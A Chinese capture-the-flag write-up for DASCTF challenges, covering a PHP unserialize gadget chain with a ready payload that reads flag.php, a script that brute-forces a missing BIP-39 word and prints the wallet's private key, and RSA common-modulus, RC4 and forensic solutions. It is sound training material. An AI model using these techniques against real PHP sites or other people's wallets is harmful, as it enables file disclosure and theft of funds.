[MISC]RecoverWallet
eth助记词,缺失一项,BIP-39助记词共2048个,给出了地址后几位,暴力破解一下就可以。
from mnemonic import Mnemonicfrom eth_account import AccountAccount.enable_unaudited_hdwallet_features()mnemo = Mnemonic("english")known_words = ["ankle", "assume", "estate", "permit", None, "eye", "fancy", "spring", "demand", "dial", "awkward", "hole"]
with open("/Users/chao/miniconda3/lib/python3.13/site-packages/bip_utils/bip/bip39/wordlist/english.txt", "r") as f: # 受不了了啊,bip_utils不会用,直接读文件吧 wordlist = [w.strip() for w in f.readlines()]
for candidate in wordlist: words = known_words.copy() words[4] = candidate mnemonic_phrase = " ".join(words) if mnemo.check(mnemonic_phrase): print(mnemonic_phrase) account = Account.from_mnemonic( mnemonic_phrase ) print("Private Key:", account.key.hex()) print("Address:", account.address)然后
(base) ➜ TEST /Users/chao/miniconda3/bin/python /Users/chao/tmp/ctf/TEST/DAS/MISC/eth.py | grep 700f80Address: 0x7E93E8Eeeee122aBF300904eBC446D31D8700f80[WEB]EzSerialize
php反序列化
<?php// highlight_file(__FILE__);// error_reporting(0);
// echo "<h2>炒鸡简单的反序列化</h2>";// echo "<p>目标:通过构造反序列化数据读取flag</p>";// echo "<hr>";
class User { private $name; private $role;
public function __construct($name, $role) { $this->name = $name; $this->role = $role; }
public function __toString() { return $this->role->getInfo(); }}
class Admin { public $command;
public function __construct($command) { $this->command = $command; }
public function __call($method, $args) { if ($method === 'getInfo') { return $this->command->execute(); } return "Method $method not found"; }}
class FileReader { private $filename;
public function __construct($filename) { $this->filename = $filename; }
public function execute() { // 危险操作:直接读取文件 if (file_exists($this->filename)) { return "<pre>" . htmlspecialchars(file_get_contents($this->filename)) . "</pre>"; } else { return "文件不存在: " . $this->filename; } }}
if (isset($_GET['data'])) { try { echo "<h3>反序列化结果:</h3>"; $obj = unserialize(base64_decode($_GET['data']));
// 触发__toString方法 echo "输出结果: " . $obj;
} catch (Exception $e) { echo "错误: " . $e->getMessage(); }}
// 不知道flag文件名$a = new Admin(new FileReader(''));$a->command = new FileReader('flag.php'); // dirsearch扫出来$data = base64_encode(serialize(new User('attacker', $a)));echo $data;payload如下:
?data=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjg6ImF0dGFja2VyIjtzOjEwOiIAVXNlcgByb2xlIjtPOjU6IkFkbWluIjoxOntzOjc6ImNvbW1hbmQiO086MTA6IkZpbGVSZWFkZXIiOjE6e3M6MjA6IgBGaWxlUmVhZGVyAGZpbGVuYW1lIjtzOjg6ImZsYWcucGhwIjt9fX0=[数据安全]dsEnData
依照encode.py写解密脚本
import base64import csv
def decode(encoded_data, K='a1a60171273e74a6'): """解密函数""" try: # 先base64解码 data_bytes = base64.b64decode(encoded_data)
res = b'' for i in range(len(data_bytes)): c = K[i+1&15] # 同样的密钥循环逻辑 # 异或操作是可逆的,用同样的密钥再次异或就能还原 res += bytes([data_bytes[i] ^ ord(c)])
return res.decode('utf-8') except Exception as e: # 如果解密失败,返回原始数据并标记错误 return f"[DECODE_ERROR: {str(e)}] - {encoded_data}"
def decrypt_csv(input_file, output_file): """解密整个CSV文件""" with open(input_file, 'r', encoding='utf-8') as infile, \ open(output_file, 'w', encoding='utf-8', newline='') as outfile:
reader = csv.reader(infile) writer = csv.writer(outfile)
for row_num, row in enumerate(reader): decrypted_row = [] for col_num, cell in enumerate(row): try: # 解密每个单元格 decrypted_cell = decode(cell) decrypted_row.append(decrypted_cell) except Exception as e: print(f"解密第{row_num+1}行第{col_num+1}列时出错: {e}") decrypted_row.append(f"[ERROR] {cell}")
writer.writerow(decrypted_row)
if __name__ == "__main__": input_filename = "encoded_data.csv" output_filename = "decrypted_data.csv" decrypt_csv(input_filename, output_filename)没有考虑表头,但手动改一下更快。
[数据安全]dssql
import csvimport refrom datetime import datetime
class Validator: def __init__(self): self.id_weights = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2] self.id_chars = ['1','0','X','9','8','7','6','5','4','3','2'] self.violation_rules = { '客服': ['product_management','system_logs'], '财务': ['user_management','product_management','system_logs'], '商品经理': ['user_management','order_management','system_logs'], '系统审计员': ['user_management','product_management','order_management'] }
def validate_name(self, name): if not name or not isinstance(name, str): return False return 2 <= len(name) <= 4 and bool(re.match(r'^[\u4e00-\u9fa5]+$', name))
def validate_phone(self, phone): if not phone or not isinstance(phone, str): return False return len(phone) == 11 and phone.isdigit() and phone.startswith('1') and phone[1] in '3456789'
def validate_id_card(self, id_card): if not id_card or len(id_card) != 18 or not id_card[:17].isdigit(): return False last_char = id_card[17].upper() total = sum(int(id_card[i]) * self.id_weights[i] for i in range(17)) return last_char == self.id_chars[total % 11]
def validate_bank_card(self, card): if not card or not card.isdigit() or len(card) < 16 or len(card) > 19: return False digits = [int(d) for d in card][::-1] total = 0 for i, digit in enumerate(digits): if i % 2 == 1: doubled = digit * 2 total += doubled - 9 if doubled > 9 else doubled else: total += digit return total % 10 == 0
def validate_reg_date(self, reg_date, id_card): try: reg_dt = datetime.strptime(reg_date, '%Y/%m/%d') if reg_dt < datetime(2015,1,1) or reg_dt > datetime(2025,10,31): return False if id_card and self.validate_id_card(id_card): birth_date_str = id_card[6:14] birth_dt = datetime.strptime(birth_date_str, '%Y%m%d') if reg_dt < birth_dt: return False return True except: return False
def check_operation(self, role, module): return role not in self.violation_rules or module not in self.violation_rules[role]
def parse_sql_file(filename): """解析SQL文件,提取表数据""" tables = {'users': [], 'operations': [], 'roles': []}
with open(filename, 'r', encoding='utf-8') as f: content = f.read()
# 简化解析:直接匹配INSERT语句 for table_name in tables.keys(): pattern = rf"INSERT INTO `{table_name}` VALUES (.*?);" matches = re.findall(pattern, content, re.DOTALL)
for match in matches: # 分割多行INSERT rows = re.findall(r'\((.*?)\)', match) for row in rows: # 简单分割,处理转义字符 values = [] current = "" in_quote = False escape_next = False
for char in row + ',': if escape_next: current += char escape_next = False elif char == '\\': current += char escape_next = True elif char == "'": in_quote = not in_quote current += char elif char == ',' and not in_quote: values.append(current.strip()) current = "" else: current += char
# 清理值 cleaned_values = [] for val in values: val = val.strip() # 移除字符串引号 if val.startswith("'") and val.endswith("'"): val = val[1:-1] # 处理转义字符 val = val.replace("\\'", "'").replace('\\"', '"').replace('\\\\', '\\') cleaned_values.append(val)
if cleaned_values: tables[table_name].append(cleaned_values)
return tables
def debug_print_tables(tables): """调试函数:打印解析的数据""" print("解析到的数据:") for table_name, rows in tables.items(): print(f"\n{table_name} 表 ({len(rows)} 行):") for i, row in enumerate(rows[:3]): # 只显示前3行 print(f" 第{i+1}行: {row}")
def main(): tables = parse_sql_file('data.sql')
# 调试:打印解析的数据 debug_print_tables(tables)
validator = Validator() violations = {}
# 检查信息违规 print("\n信息违规检查:") for user_data in tables['users']: if len(user_data) >= 7: user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7]
print(f"检查用户 {name}:") print(f" 姓名验证: {validator.validate_name(name)}") print(f" 手机号验证: {validator.validate_phone(phone)}") print(f" 身份证验证: {validator.validate_id_card(id_card)}") print(f" 银行卡验证: {validator.validate_bank_card(bank_card)}") print(f" 注册日期验证: {validator.validate_reg_date(reg_date, id_card)}")
if not all([ validator.validate_name(name), validator.validate_phone(phone), validator.validate_id_card(id_card), validator.validate_bank_card(bank_card), validator.validate_reg_date(reg_date, id_card) ]): violations.setdefault(name, set()).add('信息违规') print(f" → 发现信息违规")
# 构建用户ID到姓名和角色的映射 user_id_to_name = {} user_id_to_role = {} for user_data in tables['users']: if len(user_data) >= 7: user_id, name, phone, id_card, bank_card, reg_date, role = user_data[:7] user_id_to_name[user_id] = name user_id_to_role[user_id] = role
# 检查操作违规 print("\n操作违规检查:") for op_data in tables['operations']: if len(op_data) >= 5: op_id, user_id, op_type, op_module, timestamp = op_data[:5] user_name = user_id_to_name.get(user_id) user_role = user_id_to_role.get(user_id)
if user_name and user_role: has_permission = validator.check_operation(user_role, op_module) print(f"用户 {user_name}({user_role}) 操作 {op_module}: {'合规' if has_permission else '违规'}")
if not has_permission: violations.setdefault(user_name, set()).add('操作违规')
# 输出CSV print(f"\n总共发现 {len(violations)} 个用户有违规") with open('violations.csv', 'w', newline='', encoding='utf-8') as f: writer = csv.writer(f) writer.writerow(['姓名', '违规类型']) for name, types in violations.items(): for violation_type in types: writer.writerow([name, violation_type]) print(f"记录违规: {name}, {violation_type}")
if __name__ == '__main__': main()[数据安全]7years(unfinished)
用foremost提取ext4镜像。
foremost -i dasctf.ddProcessing: dasctf.dd |foundat=data_part_1.txtUTfoundat=data_part_2.txtUTfoundat=data_part_3_CBC.txtUT这三个txt都有很多乱码,发现第一个是base64编码的原始csv
赛后复盘,strings还扫出来一个1.png和data_part_4.txt,DiskGenuis可以恢复出来。实际上应该是三部分拼接而成,data_part_1.txt是base64,data_part_2、3是CBC加密(23应该是一起的吧,稍后有空研究),data_part_4.txt就是明文。我只处理了data_part_1.txt,结果始终24.9%,还一直在改py…
另外这题mount只有一个lost+found,还是空的;binwalk -e也报错。。。
[Crypto1]RSA_Common_Attack
经典的RSA共模攻击,已知n,e1,e2,c1,c2。
RSA 加密过程: c1 = m^e1 (mod n) c2 = m^e2 (mod n)
因为 gcd(e1, e2) = 1,所以e1,e2满足线性关系:a · e1 + b · e2 = 1 (1) 可以使用扩展欧几里得算法计算得到。
将 (1) 两边同时取 m 的幂: m^(a·e1 + b·e2) = m^1 = m (mod n) (2)
将 (2) 与 c1、c2 对应: c1^a · c2^b = m (mod n) (3)
于是明文 m 可以通过下面的操作得到:
m = (c1^a) · (c2^b) (mod n)
from Crypto.Util.number import *from gmpy2 import *
n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609e1 = 65537e2 = 10001c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504_,s1,s2 = gcdext(e1,e2)m = pow(c1,s1,n)*pow(c2,s2,n)%nprint(long_to_bytes(m))#flag:DASCTF{RSA_C0mm0n_M0dulus_Att4ck_1s_V3ry_P0w3rful_1nd33d}[Crypto2]ez_stream
看题目发现是流密码——RC4
它把密钥变成一串看似随机的字节,然后把明文的每个字节与keystream对应字节做 XOR,根据XOR的可逆性,同样的 keystream也可以用来解密。程序里把flag用”love“这个 4 字节键做 RC4 加密,得到了一串整数数组text。我们解密就需要重建同样的keystream。然后用它重新跑RC4的KSA + PRGA,得到前 19 个 keystream 字节,然后逐位 XOR,得到原始的flag。
RC4 有两大步骤:KSA与PR。 KSA 把 key 通过循环与 S 里的值混合,最终得到一个打乱的 S 数组。
PRGA 在已打乱的 S 上继续循环交换,产生一连串 keystream 字节。
由于 RC4 是对称的,加密和解密的代码完全相同,只是把plaintext换成ciphertext或反之即可。
def rc4_keystream(key, n): S = list(range(256)) K = [ord(c) for c in key] j = 0 for i in range(256): j = (j + S[i] + K[i % len(K)]) & 0xFF S[i], S[j] = S[j], S[i]
i = j = 0 out = [] for _ in range(n): i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] out.append(S[(S[i] + S[j]) & 0xFF]) return out
cipher = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114, 117]
keystream = rc4_keystream('love', len(cipher))plain_bytes = [c ^ k for c, k in zip(cipher, keystream)]plain_text = bytes(plain_bytes).decode()print(plain_text)#flag:DASCTF{rc4_is_easy}[Misc1] 什么密码
下载附件得到一个压缩包,打开发现有一个加密的png文件,根据题目猜测可能是伪加密。所以直接用工具修改伪加密文件。
修改后得到一张图片,先拖进010看一下,拉到底发现一串字符
观察其结构想到可能是base64换表。接下来就是寻找被加密的文本了。用stegsolve分析一下,拉到最上面发现疑似密文的文本
最后解换表base64
flag:DASCTF{7779da53-d0f1-41d6-af3a-2fd9698d2ca5}
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









